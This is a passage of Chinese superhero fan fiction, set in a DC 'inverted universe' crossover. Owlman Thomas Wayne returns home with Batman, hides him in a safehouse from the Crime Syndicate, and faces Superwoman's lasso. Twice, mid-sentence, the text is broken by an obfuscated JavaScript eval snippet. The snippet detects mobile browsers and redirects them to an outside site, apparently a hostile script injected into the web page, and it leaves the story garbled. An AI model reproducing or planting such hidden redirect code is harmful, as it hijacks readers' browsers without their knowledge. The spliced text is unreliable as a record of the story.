事后想想,哈莉出现在这种地方就很不正常。它到底是我们宇宙的特色产物,连小丑本人同位体见到了都要骂娘,其到来必定意味着发生了我不知道的意外状况。 我打心底不愿意想象如果是我们宇宙的小丑穿越过来会发生什么。 蝙蝠侠的态度不知道为什么比之前还要好上一些。他娴熟地把地上这两个玩意交给了哥谭警局,并随便扯了个“布鲁斯·韦恩已经离开”的借口,而后走到我身边询问哈莉的来历。 但我自己都没想明白,自然没办法给出答案,只是心中那股自从见到小丑之后就生出的不详预感变得更加强烈。我正在考虑该怎么开口,心跳突然加快了半拍——那种穿越前感受到的空间波动再次出现了。 我下意识地看向布鲁斯的眼睛,张开嘴想要说点什么,声音冲出喉咙前又咽了回去。我有什么好说的?如果我现在回去,不是最好的发展吗? 我知道布鲁斯·韦恩是蝙蝠侠,我知道他生在一个优秀的家庭,我知道如果他活下来、会面对如何可怕的危险又背负怎样的荣光,我知道哪怕这世界暂时辜负他、但永远会有人爱他。 我不知道的是,当年我侄子画本上画着的那个超级英雄是否也有一段无能为力流离失所的过去。我不知道他为什么选择走上这条路。我没看过漫画又穿越到一个善恶颠倒的宇宙,于是似乎永远失去了窥见另一条命运线的可能性。 猫头鹰法庭面具掉在地上,它的正面被我不小心用匕首划出一道狭长的痕迹,又没有很突出,就像我在两个世界间的大门刻上急促的一撇。 这就是我们的交集。 我回答那句关于哈莉来历的问话:“说来话长。” 所以不如不讲。 混沌的光以机械玩偶所在地为中心扩散开来。以我这会思考的内容量来看仿佛过去很久,但其实快到眨眼间的功夫,我就感受到了另一个宇宙对我的呼唤。 对这种莫名其妙的来来去去我尚未琢磨明白原理,也就没法自主决定到底是离开还是留下。不过我之前还在与蝙蝠侠为了送我回去这个议题产生争论,现在以这种方式实现目标,不仅难以感到高兴,还控制不住地有点恼火。 布鲁斯和我对视了一刹那。 然后——我们永远无法准确估测人类在危机时刻的本能反应,身体动作往往快过大脑,连其主人都不知缘由——他突兀地伸手拽住了我的胳膊。 闭上眼睛再睁开,我们已经出现在了另一座镜像城市的上空。 我:“……” 高空抛物梅开二度。 这次自由落体运动还是双人份,不知道蝙蝠侠感不感动,我反正因为失去了披风而不敢动。简直是倒霉他妈给倒霉开门,都怪小丑太晦气,不知道我现在给服务区内的阿尔弗雷德打电话还来不来得及。 16. 敷衍上司的一百种技巧 布鲁斯几乎没反应过来。 任何人突然从站在平地变成自由落体,都难免小腿肌肉抽跃肾上腺素加速分泌,但他很快就意识到小托马斯就在他身边不远处,而带着装备体重直逼300磅的蝙蝠侠正和身着西装的夜枭平行下坠,用事实证明物体的下落速度与质量无关。 托马斯·韦恩注意到他的视线,很自然地说道:“这里应该是我的宇宙。” 他说话声不大,在下坠带起的飓风里显得更小,但不管是语调还是表情都很平静,就好像两个大活人白天从天而降是多正常的事情一样。 “你有落地的方法?”布鲁斯问道。之前小托马斯同样是这么掉进他的哥谭的垃圾桶里,可见这种事确实不是第一次发生了…… 不过据他所知,其他平行宇宙传送从来没如此险恶过,是反转世界的特殊之处还是夜枭本人的问题?此外他们是在接触到机械玩偶‘哈莉’之后才发生了空间转移,不知道二者之间是否具备联系。 “我没有。”夜枭的声音打断了他的思考,“所以如果你能帮个忙的话,感激不尽。” “……” 布鲁斯再次拉住夜枭的手臂同时张开斗篷。他感到重心一沉,双倍成年人的重量让即使有了滑翔翼之后、下落的速度仍然过快,只能觑准时机等会用勾爪拉住两侧的建筑物减轻落地冲击。 “给我一只勾爪,要拉力最大的。”被他攥住手臂的人继续说,“往右侧飞,那边是工业区,可以避开居民。” 布鲁斯控制滑翔翼转向:“我要松开一只手。” 他左手仍牢牢扣住小托马斯的胳膊,右手伸向万能腰带取装备,而夜枭半个身体控制不住地往下一沉,几乎摇摇欲坠。 布鲁斯低着头余光瞥见他不知道想到什么露出一个可以说得上是微笑的表情,眼睛倒是符合生理学特征,在紧张时瞳孔有些许放大的迹象。 “这是我离死亡最近的时候——之一。”夜枭像是知道他的疑惑,开口解释道,“过去一直是我将我的敌人吊在哥谭塔楼上,这感觉很罕见,他们临死前看到的画面也许和现在的我相同。” 夜色逐渐降临,夕照似沸腾的河水沿着人间灯火滚滚向前。远处哥谭湾被映照成玫瑰红色环绕城市流淌,如被风吹起的锦缎裹住慈爱的母亲的手,摇着地脉拧成的摇篮,哄那些喧嚣的灵魂入睡。 它们倒映在城市实质上的统治者眼中,缤纷热烈的色彩便被虹膜上的钢蓝色染成一种透彻而冰冷的画面。 蝙蝠侠未对他的话做评价。 他将金属缆绳递给对方,顺便再抓住夜枭往上提了提,免得这家伙真的掉下去。这时他们已经落到相当低的距离了,不需要布鲁斯额外教导,他血缘上的兄弟调整方向顺着前进的势头瞄准了一座信号塔。缆绳卷住横杆时落势骤停,夜枭握紧勾爪的指关节和虎口处瞬时迸出鲜血。 蝙蝠侠打算伸手帮忙,但在五指微松时听见夜枭说:“别动,你要负责抓紧我,布鲁斯。” 缆绳松开,再往下落,然后卷住更低的建筑外沿。 他们跌撞着总算抵达不至于摔死人的高度时,映入眼帘的是一座仓库暗红色的顶棚。 “谢谢,可以松开了。” 考虑到夜枭对这个城市的熟悉程度,布鲁斯依言放手,以为对方在这附近说不定有什么帮手——然后第二次,他得到了否定答案,眼睁睁看着代号是猫头鹰却不会飞的某人实打实将老旧仓库已经生锈的顶部撞开了一个洞,随着升腾起的灰尘落在地上。 “……” 很难形容布鲁斯现在的心情,就是那种看到好不容易抢救回来的重症患者突然说‘我能行’,然后自己扯下呼吸机并且在医院门口倒下碰瓷的感觉。 夜枭捂着嘴被粉尘呛的咳嗽两声,站起身来拍拍上衣,看上去没什么大事:“别那么看着我,这样落地速度更快。我迫不及待想要接触地面——离开她以后才发现我居然会十分想念我的城市。况且我还在担心……” 少了一份重量的蝙蝠侠降落得很轻松,但他现在的神色足以让任何觉得自己做错事的罪犯闻风丧胆落荒而逃。 “什么?”他问道,“如果我没过来,你刚才打算怎么做?” “这就是我担心的。如果你不在,我会去求助于一个外星人。而就算我不叫他,他现在很可能也已经发现并正在往哥谭市这边飞来。”夜枭声音同他一样低沉,“但我现在不能让你们见面,我的‘朋友们’,辛迪加的成员,最好暂时不知道平行宇宙的事情。” 他们飞快地交换了一下视线,蝙蝠侠道:“你担心这会是战争的导火索?” “我担心他们会对一个软弱又平和的世界感兴趣。”夜枭说,“否则在将地球上资源挥霍一空、彻底玩腻之前,没人会主动前往新宇宙。” 这是他第一次主动提起自己所在的组织辛迪加,而且紧随而来的描述也透露出很多讯息。 在布鲁斯的知识库中,‘辛迪加’是个法语词汇,原指企业工会,后来衍生为资本主义垄断组织的代称,具备鲜明的贬义色彩。而夜枭首次将主宇宙评价为‘软弱又和平’(他本人讲话时却不含感情倾向,像在陈述一个客观观点),证明他所在的世界确实以强大和混乱为主流。 只是这种差别究竟到了什么程度,让他在落地第一时间开始防备自己的队友? “我来不及讲太多,蝙蝠侠,你知道怎么隐藏自己。这是个储存铅板的仓库,我曾在它下方打通了一条隧道通往哥谭城区。林肯路12号是个安全屋,等我解决超霸之后会安排人去联系你。你也可以调查我们,但是——辛迪加不是个合法组织。” 布鲁斯意识到刚才夜枭为什么要主动用砸的方式掉进仓库里。 他准备让蝙蝠侠离开,那么就没法和他的队友解释,没有装备又没有接应人的小托马斯·韦恩是怎么毫发无伤落地的。 而那个从蝙蝠侠万能腰带里拿到的勾爪也被猫头鹰理所当然地据为己有了。 这人从穿越宇宙的第一时间想得不是怎么从高空落地下存活,而是更长远和缜密的安排。也不知道该评价为信心充足深谋远虑,还是在不拿自己安危当回事的同时具备丰富的敷衍同事技巧。 不管怎么说,夜枭说得确实很有道理,蝙蝠侠没法反驳,两个宇宙的战争同样是为他所担忧的。只是他临走前心中仍含着另外的忧虑:以上会不会都是夜枭的谎言,为了达成某个更大的阴谋?如果不是,夜枭的行为会不会给他自己带来危险? 在辛迪加构成以及世界观上说谎很容易被拆穿,除非夜枭不打算让自己的兄弟活着走出安全屋。 即使以布鲁斯见证过的黑暗和血腥做背景,这种猜想与之前数十小时的相处对照,还是显得有些冷酷及残忍了。穿越到反转宇宙是个意外,小托马斯并无可能提前策划好一切,而至少在蝙蝠侠的宇宙时,夜枭从没想下杀手,阴谋论和夜枭放任他离开的举动是相互矛盾的。 所以结论是,小托马斯真的想在两个宇宙间找到平衡,并为达成目标愿意承担一定程度上的风险。 时间紧迫,他没再想下去,干脆利落地顺着夜枭的指引走进通往林肯路的地下通道。布鲁斯知道自己需要情报,有关于辛迪加、外星人、反转宇宙、小托马斯和其他很多东西。留在原地的夜枭显得很放松,如他自己所说,他确实对这片土地怀有归属感,就像在隆冬中迁徙的候鸟,远离足下枯枝时,仍对不知何时才能到来的春日饱含着隐秘的期待与热爱。 ** 卡尔落在我身边。 蝙蝠侠已经离开几分钟了,我猜想他这时已经走到第九大道的交通枢纽,如果他翻开井盖走出去,就能看到一个常年被野鸽粪便和英国梧桐树落叶覆盖住地面的旧公园。我小时候政府还常常派清洁工打扫地面,于是每到傍晚时附近居民区的孩子以及无家可归的流浪儿就会跑到为数不多的几个滑梯和秋千附近争抢,沙坑里带着雨后潮湿发霉的味道,健身器材底下有蜘蛛在只剩一半的蛛网上缝缝补补。 我之所以记得很清楚,是因为我在七八岁那两年不愿意和韦恩夫妇共处一室,每当他们在家中举行派对或者商谈事物时,我就让阿尔弗雷德开车带着我去到公园里。这附近有图书馆和商业街,不管是休息还是娱乐都很方便,治安相对上还算不错。小布鲁斯更喜欢待在爸妈身边,偶尔会跟着我出去玩,带着他的时候我要表现得更合群一点,渐渐那些孩子缺少玩伴会来叫我。 “托马斯!”他们不知道我的姓氏,就或躺或坐在沙坑旁边大喊,“扔橄榄球来不来?” “托马斯!”布鲁斯要更矜持一点,站在跑道中央跟着他们喊,“我们缺个防守队员!” 我就迎着晚风小跑过去,在廉价的沙石地面上一深一浅地前进。 之后我和小布鲁斯离开了,哥谭更变流浪儿童救助政策,公园里的孩子越来越少,到后来就只有睡在长椅上的流浪汉还在光顾。腐烂的梧桐叶与泥坑里的积水混合散发出一股腥甜糜烂的味道,弥漫在长势愈发狂野的灌木丛间。 卡尔面无表情问:“托马斯,你这两天去哪了?” 我错觉小时候公园里的孤儿们挤在我身边问出同样的问题,就回答道:“我有工作要做。” 每当我说出这种话,同龄人就会用敬畏又紧张的目光看着我。他们知道我家庭条件较好,又不知道好到什么程度,于是不敢再多问,老老实实开始进行下一项活动。 令我意外的是,卡尔在我搪塞完也停顿了一下。然后他上下打量我,我毫不怀疑他在这几秒钟之内连人的内脏都能看得一清二楚:“什么工作能让你扔下哥谭?你和亚历山大·卢瑟在策划什么?你的装备呢?身上的伤又是怎么来的?” 我答非所问:“我在等阿尔弗雷德过来接我。如果你对前两日发生了什么感兴趣,我愿意邀请你前往韦恩庄园。” 卡尔吃了一惊:“你……什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064587|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?” 他又仔仔细细看了我一眼,可能觉得我是个冒牌货。 天可怜见,真正的蝙蝠侠正在爬下水道呢。 “我需要休息。上次睡觉还是近五十个小时之前,反正没发生什么重要的事,你想听故事可以等我起床再说。” 卡尔露出带着嘲笑和怜悯的神情,像是见到身边人干了无伤大雅的蠢事之后的洋洋得意:“我带你飞回去吧,这样更快。看来你没得到你想要的?” “是啊。”我知道怎么让我的朋友们对平行宇宙失去兴趣,而且因为他这份自得之情,他对我之前不告而走的愤怒也消失了,“这是个意外。我去平行宇宙转了一圈,黄太阳光,氪石量有限,一群超级英雄和罪犯,没有什么特殊之处。” 氪石量有限这点对超霸简直是暴击。卡尔立刻就失去了探究的心情,但碍于已经开启话题,还是顺着往下问:“那你干嘛呆了这么久?说真的,你还一定要等你那个管家跟班过来接你,这都是什么毛病?” “露易丝就不会问这种问题。” “她只是想跟你上床。”卡尔板住脸,“你以为这意味着她有多了解你?她对每个没有彻底弄到手的男人都愿意好声好气!” 我不担心超霸但是有点担忧超女王搞事,亚马逊女人比氪星人精明得多:“那她人呢?” “白天我们为了你的下落去找卢瑟,晚上她就约会去了。”卡尔没好气道,“我又没关注她最近换了哪个狩猎对象,不过如果听见你回来了,她应该会把和她约会的倒霉家伙扔下跑过来的。” 我边思索边点头:“不让你送我回去是因为你我不会隐形,而我不想飞过大半个哥谭招摇过市。至于我为什么在平行宇宙呆了两天,一方面是我没找到回来的办法,另一方面是因为我见到了理查德的同位体。” 说到这我忽然想到一个问题:“我还在平行宇宙看到了哈莉。它怎么会出现在那?” 氪星人有一瞬间的心虚。 但他强行抱住手臂,用那张英俊脸摆出无辜者的面貌:“我不知道,哈莉是谁?” “……” 算了。 你永远叫不醒一个装傻的外星人。 阿尔弗雷德赶到之后为我们俩打开车门。卡尔这次不再发表意见了,悄无声息地跟着我坐上了汽车后座。两个不会飞的和一个会飞的一起驱车前往韦恩庄园的地下车库,下车之后理查德就站在庄园大门口迎接我,我想起比他大上几岁的夜翼也是这么目送我和蝙蝠侠离开的。 仔细想想隔壁宇宙突然丢了个超级英雄恐怕会更傻眼。等我安排好之后最好尽快送蝙蝠侠回去,否则就不是辛迪加对主宇宙动手,而是正义联盟出征反转宇宙了——我还是那个不具名的头号绑架犯。 “理查德。”我和他打招呼,“我邀请了卡尔,露易丝一会可能也会来。” 年轻人看到我的刹那呼吸骤然变得急促,又强行按捺下来点头道:“我去书房。” “好孩子。”我拍拍他的肩膀,在擦身而过时写下罗马数字‘12’。理查德表情毫无异样,跟着我们走回大宅,我们在楼梯口分道扬镳,而超霸评价我收养理查德还去看平行宇宙迪克的行为属于‘Keeponeeyeonthebowlandtheotheronthepan(吃着碗里看着锅里)’。 我毫无愧疚之心:“有什么问题?” “没。”卡尔高兴地说,“你就这种时候最像我们。” ** 理查德跟着阿尔弗雷德走进厨房,看老管家给归家的主人与客人们倒满一壶红茶。 “你跟着我做什么,理查德少爷?托马斯老爷应该给你安排了任务。” 韦恩庄园内部自然有应对氪星人超能力的措施,他们并不担心超霸会听见。 “林肯路12号,我记得是托马斯的安全屋。”理查德抬起头问,“他为什么要让我去那?” “我不确定,我之前收到了老爷的消息,只说他带回来一个平行宇宙的客人。” “他们是什么关系?我该用什么态度?” “不是敌人。”阿尔弗雷德慎重而意味深长地说,“但托马斯老爷此前从未把自己的安全屋借给一个只认识了不超过三天的人。” 理查德就懂了。 年轻人还有点愤愤,小声说:“他失踪了整整两天还多!回来以后什么都没说,就把我打发走在超霸的眼皮子底下去给别人当保镖,如果那家伙很麻烦我是不是还不能动手?” “保护好你自己。”阿尔弗雷德头也不抬地说,“不管怎么说,你对他而言是最重要的人之一。” 迪克马上就被安抚住了:“你说得对。”他眨眨眼睛笑了起来,“我想就算我把我的保护对象打晕藏起来托马斯也不会生气,你觉得呢?” 他找了个和朋友出去玩的借口,同聚在一起的辛迪加成员汇报一声,鸟儿一样欢快地跳出庄园往市区里去了。 17. 在别墅点外卖是什么感觉 “Cheers——” 超女王穿着暗红色长裙半倚在沙发里,一手将鬓角的发丝顺到耳后,另一只手举起来和我碰杯。她约会谈到一半的时候收到我的消息就直接飞过来了,我在询问她‘究竟是怎么穿着裙子飞行而不会走光’和‘被你扔下的约会对象对此究竟作何感想’之间徘徊了一下,礼貌性地选择提出后者。露易丝笑意盎然地回答道:“谁在乎?”然后抿着高脚杯的边沿一饮而尽。 我们现在不在韦恩庄园里面,而是不远处一栋靠海别墅,由我父母当年买下来做些见不得光的小生意。我选择这个地点的其中一条原因很简单——它地理位置优越,叫外卖更方便。 露易丝过来之前我和卡尔为晚餐吃什么争论了一会。我本来应该先睡一觉,但是脑子里想的事情太多还得招待客人,完全静不下心休息。初中生物知识告诉我们人在吃饱之后会使血液分布到消化道处理食物而导致大脑乏氧犯困,正好时间合适,我就点开外卖软件准备先犒劳自己的胃。 “你管家呢?”卡尔见我正襟危坐专心致志地翻外卖,脸上浮现出看富家子弟体验民生的怀疑之情,“他被解雇了?” “没有。”我说,“但是我离开家两天,回来的又很突然,冰箱是空的。” 卡尔茫然地坐着,片刻后问道:“让超市送?” “那和叫外卖有什么区别?别吵,我在对比距离。” 我得到短暂的安静。 超霸不再看我,躺在沙发背上摆弄手机。几分钟后他又开口:“露易丝说她要过来,而且她还没吃饭。” 我划屏幕的动作顿住:“你不是说她去约会了吗?” “她把他丢在餐厅里面了,让我告诉你外卖多点一点。” 我不禁想这群人是有什么问题,放着有人在高档餐厅请客不干,非要千里迢迢跑来我家吃速食。 “……你们想吃什么?” 卡尔:“氪石?” 我:“……” 我们讨论这个问题大约花费了十几分钟,中途还给超女王打了个电话。然而我最终意识到,参考同事的意见不仅没用还浪费时间,结果还是叫了离得最近的披萨店,露易丝抵达哥谭时外卖正好同步送到。 唯一的问题是,我们三个看起来和这盒披萨都不太搭调。 特别是刚从欢乐场里出来的露易丝。她看着外卖盒挑起眉对我说道:“如果有天韦恩集团破产了,托马斯,请一定要告诉我,我很乐意为你花钱。” 我不动声色地与她对视,半晌亚马逊人泄气地一耸肩:“你就不能说点好听的吗,夜枭?看在我们两天没见面的份上。” 她走过来弯下腰亲昵地拥抱了我一下。我回吻她面颊说道:“别假设不可能的事情。再说,依附你的‘男朋友’有几个活下来了?” “他们都活着。”露易丝笑道,“有个形容词叫做‘生不如死’……可是不管怎么说,总比去见刻耳柏洛斯要强。”松开手前她悄声说道:“而且我怎么舍得那样对你,你和他们不一样。” 这屋子里有三个人,卡尔有超级听力,她再怎么小声还是和外放没区别。不过我愿意配合她,也低声答道:“如果我有天失去一切,在你眼中就和他们没区别了。” 她俯身凝视着我,卷曲的黑发垂在脸颊两侧,蓝眼睛在灯光下熠熠生辉,那眼神几乎可以被形容为爱恋。而没人能否认此时露易丝是如何美丽动人——只是我们都知道这份热烈的情感有几分虚假、背后又是由什么在支撑。她轻轻地说:“没错,亲爱的,但在那之前我永远愿意爱你。” 我打赌如果不是超霸还在旁边看着她能立刻邀请我前往卧室,我甚至得往后避一避、紧贴着沙发背才不会同她旁若无人地吻在一起。 卡尔精准地用热视线切开外卖盒,边嘲讽道:“卑劣的亚马逊人。” 露易丝看懂了我的拒绝,松手直起腰失望地扭头回敬说:“而你是个愚蠢的氪星人。” 他们俩的关系时而亲密时而针锋相对,不过就算互相辱骂的时候气氛也不紧张,更像在开玩笑。超女王心情还是很好,轻车熟路地走到我搁置在别墅里的酒柜,从里面拿出两瓶红葡萄酒,拔出瓶塞后给我们三个一人倒了一杯。 我们开始就着价格是快餐上百倍的饮品吃披萨。 事实证明传说中大名鼎鼎的犯罪辛迪加,其成员咬面饼的时候也要用手来拿,和普通人没什么区别。只是他们两个聊到兴起可以翘着腿悬在半空,我就只能老老实实坐在沙发上。 过了一会,超女王漫不经心似地问道:“所以你真的就只在平行宇宙见到了理查德的同位体?” ** 理查德花费些许时间检查身后是否有盯梢者。 天空已经变成烟紫色,再过几分钟就要彻底黑下来了。他半蹲在林肯路12号斜对角的一株红橡树树梢上,调整手中热成像仪焦距观察建筑物内部。夜枭让他见的人毫无动静,整栋安全屋仍像是无人来过一样保持着它的原本面貌。大门前灰尘分布得很均匀,显示出近期无人出入,窗户就像每个注意安全的哥谭居民那样牢牢紧闭,仪器所能探查到的范围之内没有人类活动的迹象。 林肯路12号表面看上去只是个普通公寓,因为重点设施都被安置在地下室里。 看来客人还挺懂行。理查德仍然琢磨着对方的身份,同时悄然无息地从树上滑落,走进一旁巷子里的废弃电话亭,用带着手套的食指按下通话键。 仪器扫描过他全身,而后连接到理查德的耳机用机械合成音说道:“身份认证成功,欢迎回来,利爪。” 伪装成电话亭的电梯向下沉去。 理查德摸摸腰间猫头鹰形状的飞镖,在它和麻醉针之间犹豫了一下。 或者先看看让托马斯另眼相待的客人是谁吧。他想到。 电梯在接触到底部后平滑地停了下来,金属门向一侧划开,伴随着凛冽的破空声。理查德呼吸停住,猛然向后弯腰避开对手的攻击,正待反击时听到对方疑问的声音:“迪克?” 理查德舔了下嘴唇,心脏跳得还有点快,敷衍地笑道:“我更喜欢陌生人叫我全名。”他弯腰从地上捡起袭击者的暗器,“这是什么……蝙蝠?” “理查德·格雷森。”男人念出全名,“托马斯·韦恩让你来的?” 虽然是疑问句,他说得却很肯定,还带着不容置疑的命令口吻。理查德注意到在他到来之前,这个打扮成蝙蝠的青年正在仰头观察放在书架上的相片——是辛迪加,旁边报纸上印有形同虚设的悬赏通缉令,上面金额还不如韦恩企业明面加暗地里年收入的零头。 “你是谁?”理查德暗暗戒备,但让自己看上去很放松的样子,“他没来得及告诉我。” “那么他就是不想让人知道,你可以叫我蝙蝠侠。” 理查德没忍住发出笑声:“不好意思。”他摆摆手,“我的意思是我喜欢这个代号。好吧蝙蝠侠先生,你不打算邀请我进去吗?虽然这栋房子也不是你的。” 蝙蝠侠看了他一眼,侧开身让出道路。理查德经过他身边时又摸了摸腰间,正评估双方的实力差距,对方忽然伸出手来把他吓了一跳,应激之下差点拔出武器。 “你干什么?” “……” 蝙蝠侠看上去有点无语。 “我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064588|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝙蝠镖。”他简短道。 黑发少年睁大眼睛:“居然要回收?托马斯愿意把安全屋借给你,却不提供装备援助?” 他用手指抚摸了一下蝙蝠镖并不算太锐利的边缘:“我按在中间凸起的位置会怎么样?” “爆炸。” “哇。”男孩说,“威力呢?” “不会死人。” 布鲁斯得到了未成年人惊讶的注视。 “不会死人?”理查德重复了一遍,“那这东西有什么用?”他的指尖虚按在蝙蝠镖中央的位置,盯着男人的眼睛再次问道:“你是谁?和托马斯是什么关系?” “……”布鲁斯认为这是个有点幼稚的威胁,但毫无疑问也是威胁。 理查德·格雷森。面前的孩子比他认识的人年纪更小,也更坏——这个形容词并不是指天性,而且某种由周围环境赋予的自然而然的东西。他谈到交易、伤害、死亡,口吻带着天然的适应性,且并不以此为耻。 然而这种对黑暗面游刃有余的态度并不是被强迫形成的。理查德和布鲁斯见过的从小被收养的杀手、雇佣兵或者间谍不同,那些人要么被洗脑对自己的所作所为麻木到无知觉,要么清楚地知道他们走在一条不被常人接受的道路上,连在街头流浪长大、靠偷窃抢劫求生的孩子也不如理查德表现出的坦然。布鲁斯甚至觉得,男孩的成长环境应当能称得上是安稳富足。 ——要不然,他不会在对话间产生对方和自己认识的人相差无几的错觉,又被年轻人接下来的话打破这种错觉。 就好比今天你的朋友和昨日看似毫无区别,只是吃饭时你突然发现从来不吃海鲜乃至厌恶它的人突然点了仰望星空派。熟悉又陌生的微小细节令人生出诡异的心理感受,布鲁斯一时沉默着没有说话。 而理查德越想越觉得不对劲。他看着连脸都不肯露出来的男人和手里以猫头鹰作为天敌的蝙蝠标志,一道灵光忽地划过脑海,令他失声问道:“你不会是小丑那边的人吧?!” 蝙蝠侠:“……” 蝙蝠侠:“……” 至少得用两行省略号才能表达他此刻的心情。 有生之年,布鲁斯没想过会有人真情实感地问他是不是和Joker的一伙的。 人活得久了,原来什么都有可能见到。 但他很快反应过来,这里小丑很有可能是个超级英雄。可是就算把小丑这个单词和超英联系起来也…… 没什么不可能。布鲁斯对自己说。事实比情感偏向更重要,他早在猜测到反转宇宙时就该料到这点。 可是个人好恶同样不为理智所转移。 “如果我是,”他用比平时还低八度的声音问,“你的监护人会让我进到这个安全屋?” 理查德以为他在反讽:“反正托马斯到现在都没杀了他们。” 布鲁斯注意到他一直在用名字称呼夜枭,就好像这样能证明他们的关系。 “所以别担心,我也不是来动手的。”男孩冲他讨好地笑了一下,显得很天真,仿佛之前一直暗中握着武器的人不是他一样,“如果你真的是小丑的人,告诉我也没关系。” “我不是。”布鲁斯否认得有点疲倦,主要是心理作用,“我对托马斯没有恶意。他是我的……”他斟酌了几秒钟,使用了绝对客观的单词,“兄弟。” 理查德天蓝色的眼睛眨也不眨地盯着他。 笑容从他脸上消失了一瞬。 “我会求证的。” 他面无表情地说完又放松了点,把蝙蝠镖交到布鲁斯手中,走进地下一层的客厅坐下来,“所以托马斯有没有说我见到你之后要做什么?” 18. 屈服套索 “所以你真的就只在平行宇宙见到了理查德的同位体?” “怎么了?”我把最后一块披萨拿起来,心平气和地问道,“卢瑟没有告诉你我的失踪是个意外吗?” 大家都是老同事,谁不了解谁?我早就想到超女王会提出质疑,现在半点不慌,从表情到心跳都稳得一批。 露易丝看着我,大约没看出什么结果来,也淡定地回答:“他什么都没说。你有个忠心耿耿的合作伙伴,托马斯。” 这倒是在我的意料之外,我扬起眉毛,没有说话。 卡尔冷声道:“忠心耿耿?看亚历山大·卢瑟那双绿眼睛吧,他是条狡诈的毒蛇。如果不是你和莱克斯集团有合作,我们早晚拿他的尸体堆肥。” 我回答他:“你现在也可以,不用在意我的意见。” “嗯?”氪星人有点诧异,“你们谈崩了?” 露易丝:“你穿越到平行宇宙是他的阴谋?” “不。”我否认,“只是技术上的难题解决了,他现在没用处了。” 超女王轻哼道:“我想过你不是会拿自己试验新技术的性格。两种可能:有人算计了你,或者另一个宇宙有更加吸引你的东西——理查德·格雷森?除非他快死了,不然我觉得他还不到令你失去谨慎的程度。” 尽管她提出的话题不算友善,我仍然为这份了解微笑了一下。只是他们有很多不知道的事情,所以永远不可能猜到我寻找平行宇宙的最初目的。 遇见蝙蝠侠是个意外,我很高兴见到他,但实话实说,这和我的目标背道而驰——我想要一个‘正常’到普通的世界,来得到短暂或长久的安歇,更确切地说,是和我穿越前类似的宇宙。而蝙蝠侠的出现除了让我精神紧张彻夜失眠控制不住回忆过去以及数次失态以外,实在没起到什么舒缓精神的积极作用。 再这么下去就算阿尔弗雷德找到的心理医生叫汉尼拔,我想我也得去认真咨询一下。 此时我认真纠正超女王:“没人算计我,卢瑟做不到,更有可能那东西不是人。我现在还不知道我从两个宇宙之间往返的原理,不过我总会弄明白。” “至于理查德……”我顺着露易丝口中‘他快死了’的场景在脑海中描摹一番,压下骤然升起的怒火,继续说道,“没错,如果他死了,我会不惜一切代价为他报仇,这和我是否清醒没什么关系。” 卡尔道:“你拿你的屈服套索绑着他都别想看到他跪下求饶,露易丝,他家里的那个小男孩没那么大威力。我倒想知道托马斯什么时候会彻底抛弃理智?” “我的屈服套索没用?”露易丝翘起嘴角,“没试过你们怎么知道?” 她解下绳子在手中绕了两圈,眼睛像母狼一样直视我,其中并没有真切的笑意:“要来打个赌吗,托马斯?” 我手指稳定地摘下一次性手套,从茶几上抽出纸巾擦了擦,脑海中电光火石间有数个念头划过:这是终于准备图穷匕见了?超霸与超女王谁是主导?他们怀疑我到什么程度,又想要我说出什么来,还是只是单纯的试探? 当然以辛迪加的同事关系,哪天他们想做掉我再继承我的遗产也不奇怪。 可是事情的发展总得有前因后果。 我直起身,盯着她腕上从未失手过、能够令任何实力强大或意志坚定的生物屈服的武器,缓缓说道:“我什么时候值得这么大阵仗?” “我们从来不敢小觑你,夜枭。”露易丝说,“来试试看,看在今晚披萨和酒的份上,如果你真的说出什么秘密,我可以装作没听见。” ——同时面对他们两个人能有取胜的机会吗? 有。 只是那样的话,鱼死网破,我自己肯定不能活下来,甚至不能保证哥谭在爆炸之后仍然存在。 至于说不以缺胳膊少腿为代价的逃跑方法,完全没有。 所以我坐在原地未动。 “我不打赌,随你。”我的目光从露易丝转移到卡尔身上,他看上去对这种发展并不感到惊讶,还有意无意地堵在离我最近的窗户和沙发中间的空档处。有意思,这两个人计划着在我身上用一次屈服套索,究竟筹谋多久了? “但是你们应该知道提问题的分寸。” “放心吧,亲爱的,道歉赔偿一定令你满意。” “那还不是从你的领地和我的收藏品里面挑?”卡尔抱怨道,“你别搞太出格。” 我:“……”那你倒是一开始就不参与啊! 我真的没话说,不是我骂我的同事有病,他们确实有病而且病得不轻。更糟心的是我居然挺适应的,现在与其说惊愕倒不如说疲于应对。我沉着脸催促:“快点,超女王,我很困,等会要去睡觉了。” 露易丝弯下腰,发丝扫过我的肩膀,把屈服套索缠在了我的手腕上。 身后超霸嘟哝了句什么东西,我没听清,超女王则露出要笑不笑的表情,小声对我说:“他对你真有信心。” “我不是。”超霸骂了一声,“但他既然不怕死,有什么能让他屈服?我不行,你的套索也不行。” “单纯的男孩。”露易丝低头望着我,“有些恐惧比死亡更深刻。” “没有。”卡尔很肯定地说。 我没理会他俩的争论。亚马逊人的套索是有魔力的,即使我对其运行原理一无所知,也能感受到有某种强烈而宏伟的意志降临在我身上。它像个冷酷无情的刽子手拉扯刑犯走上断头台,再强迫他在巨斧边缘跪躺下来。我咬着牙,只觉得头顶上悬停的利刃像太阳一样灼得我两眼发疼,或者有一根吊索缠在我的颈椎上向下拉扯,宣告我必须向这世上仅有的规则低头。 